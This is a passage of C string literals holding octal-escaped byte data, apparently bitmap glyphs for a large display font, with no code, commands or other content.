\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<<<<<<<\\374\\374\\374\\374\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\177\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\4\\16\\17\\37\\77>>|||||||<>\\77\\37\\37\\17\\7\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374|<\\34\\14\"\n  \"\\4\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\200\\300\\340\\360\\370\\374\\376\\77\\37\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377>\\37\\17\\7\\7\\7\\37\\77\\177\\377\\376\\370\\360\\340\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\77\\177\\377\\376\\374\\370\\360\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\"\n  \"\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0xxxxxxxxxx\\370\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\376\\376\\376\\376\\376\\340\\370<\\34\\36\\36\\36~\\376\\376\\374\\370\\340\\360\\370<\\36\\36\\36\\36>\\376\\376\"\n  \"\\374\\374\\360\\0\\377\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\"\n  \"\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\200\\340\\360\\360x<<\\36\\36\\36\\36\\36>>~\\376\\374\\370\\360\\340\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370||<<<><<||\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\377\"\n  \"\\377\\374\\360\\0\\0\\177\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\376\\374\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\200\\300\\340\\360xx<<<<><||\\374\\374\\370\\360\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\"\n  \"\\377\\374\\340\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\\377\\377\"\n  \"\\377\\377\\177\\0\\0\\0\\377\\377\\377\\377\\377\\177\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\376\\377\\177\\77\"\n  \"\\37\\7\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\1\\1\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374|~>>\\36\\36\\36\\36\\36\\36><|\\370\\360\\300\\376\\376\\376\"\n  \"\\376\\376\\0\\0\\0\\360\\376\\377\\377\\377\\77\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\77\\377\\377\\377\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\3\\17\\37\\77\\177\\377\\374\\370\\360\\340\\340\\300\\300\\300\\300\\300\\300\\340\\360\\360|>\\37\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\7\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\200\\300\\360\\370\\370|<>>\\36\\36\\36\\36\\36\\36>~\\374\"\n  \"\\374x\\20\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\177\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\370\\370||<<<><<<||\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\371\\340\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\17\\17\\17\\37\\37\\37>>~\\374\\374\\370\\360\\340\"\n  \"\\300\\0\\0\\0\\0\\0`\\370\\376\\370\\360\\360\\340\\300\\300\\300\\200\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\360\\377\\377\\377\\177\"\n  \"\\37\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\377\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0<<<<<<<\\274\\377\\377\\377\\377\\377<<<<<<<<<<<\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\376\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\340\"\n  \"\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\"\n  \"\\374\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\377\\370\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\340\\360|\\77\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\34|\\374\\374\\374\\364\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\370\\374\\374\"\n  \"\\374<\\0\\0\\0\\0\\0\\3\\17\\177\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\77\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\377\\370\\340\\0\\0\\0\\0\\300\\360\\376\\377\\177\\37\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\377\\377\\377\\374\\370\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\374\\374\\354\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\"\n  \"\\374\\374\\374\\14\\37\\377\\377\\377\\374\\200\\0\\0\\0\\0\\0\\200\\370\\377\\377\\77\\377\\377\\374\\340\\0\\0\\0\\0\\0\\0\\374\\377\"\n  \"\\377\\377\\7\\0\\0\\3\\177\\377\\377\\377\\360\\0\\0\\200\\370\\377\\377\\37\\1\\0\\3\\37\\377\\377\\376\\360\\200\\0\\0\\374\\377\\377\"\n  \"\\177\\1\\0\\0\\0\\0\\0\\17\\377\\377\\377\\376\\370\\377\\377\\17\\0\\0\\0\\0\\0\\0\\1\\17\\377\\377\\377\\370\\376\\377\\377\\37\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\14\\34|\\374\\374\\370\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\374|<\\14\"\n  \"\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\77\\177\\376\\374\\370\\340\\300\\340\\370\\374\\377\\177\\37\\17\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\361\\377\\377\\377\\77\\377\\377\\377\\360\\340\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\377\\177\\77\\17\\7\\1\\0\\0\\0\\1\\7\\17\\37\\177\\377\\376\\370\\360\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\4\\6\\7\\7\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\7\"\n  \"\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\4<\\374\\374\\374\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\374\\374\\374\"\n  \"\\374<\\4\\0\\0\\0\\0\\0\\7\\37\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\77\\17\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\177\\377\\377\\376\\360\\300\\0\\0\\0\\200\\360\\374\\377\\377\\77\\17\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\376\\370\\374\\377\\377\\77\\17\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\361\\377\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\77>|||x|||>\\77\\37\\17\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0<<<<<<<<<<<<<<<<<<\\274\\374\\374\\374\\374\\374|<\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\374\\376\\177\\77\\37\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\377\\237\\217\\207\\203\\201\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\300\\300\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\374\\376\\377\\377\\37\\17\\7\\7\\7\\7\\3\\3\\3\\3\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\360\\377\\377\\377\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\17\\17\\37\\37\\37\\37\\77\\377\\371\\361\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\37\\77\\177\\377\\376\\374\\370\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  